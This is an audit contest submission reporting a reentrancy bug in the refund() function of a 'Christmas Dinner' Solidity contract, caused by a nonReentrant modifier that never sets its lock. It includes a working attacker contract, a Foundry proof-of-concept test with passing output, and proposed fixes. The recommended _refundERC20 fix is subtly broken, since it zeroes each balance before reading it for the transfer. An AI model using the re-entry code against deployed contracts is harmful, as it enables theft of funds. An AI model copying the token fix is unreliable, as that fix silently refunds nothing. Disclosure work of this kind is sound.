Christmas Dinner
First Flight #31
Beginner FriendlyFoundrySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

attackers could re-enter refund() to get extra funds

zhanmingjing

Summary

Fault nonReentrant() will not prevent refund() to be re-entered, attackers could re-enter refund() to get extra funds.

Vulnerability Details

https://github.com/Cyfrin/2024-12-christmas-dinner/blob/main/src/ChristmasDinner.sol#L77-L81

modifier nonReentrant() {
require(!locked, "No re-entrancy");
_;
locked = false;
}

1, modifier nonReentrant is used to prevent refund() from being re-entered, however, in modifier nonReentrant(), after check "locked == false", locked is not set to "true" to lock the process.

2, _refundERC20() and _refundETH() are not written to following the check Effects Interactions pattern.

Exploitation Steps:

  • Attacker calls deposit with a malicious contract as the receiver.

  • The malicious contract call refund to get back deposit asset.

  • refund calls _recipient.receive(), leading to multiple refunds.

add the following code to ChristmasDinnerTest.t.sol:

contract Attacker{
ChristmasDinner public victim;
constructor(address payable _victimAddr) public {
victim = ChristmasDinner(_victimAddr);
}
receive() external payable {
if (address(victim).balance >= 6 ether) {
victim.refund();
}
}
}
​
function test_refund_reenter() public {
vm.pauseGasMetering();
address payable _cd = payable(address(cd));
Attacker maliciousattacker = new Attacker(_cd);
address attacker1 = address(maliciousattacker);
vm.deal(attacker1, 3 ether);
vm.deal(_cd, 6 ether);
vm.startPrank(attacker1);
(bool sent,) = _cd.call{value: 1 ether}("");
require(sent, "transfer failed");
assertEq(attacker1.balance, 2 ether);
cd.refund();
assertEq(address(cd).balance, 5 ether);
assertEq(attacker1.balance, 4 ether);
}

forge test --match-path test/ChristmasDinnerTest.t.sol --match-contract ChristmasDinnerTest --match-test "test_refund_reenter"

test result:

Ran 1 test for test/ChristmasDinnerTest.t.sol:ChristmasDinnerTest
[PASS] test_refund_reenter() (gas: 9223372036854754743)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.26ms (223.50µs CPU time)

Impact

attackers could re-enter refund() to get extra funds.

Tools Used

manually review and forge

Recommendations

change _refundERC20() and _refundETH() to the check Effects Interactions pattern

function _refundERC20(address _to) internal {
balances[_to][address(i_USDC)] = 0;
balances[_to][address(i_WBTC)] = 0;
balances[_to][address(i_WETH)] = 0;
i_WETH.safeTransfer(_to, balances[_to][address(i_WETH)]);
i_WBTC.safeTransfer(_to, balances[_to][address(i_WBTC)]);
i_USDC.safeTransfer(_to, balances[_to][address(i_USDC)]);
}
​
function _refundETH(address payable _to) internal {
uint256 refundValue = etherBalance[_to];
etherBalance[_to] = 0;
_to.transfer(refundValue);
}

fix the fault nonReentrant() as following:

modifier nonReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

mutex lock incomplete

0xtimefliez Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

mutex lock incomplete

Appeal created

0xtimefliez Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

mutex lock incomplete

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.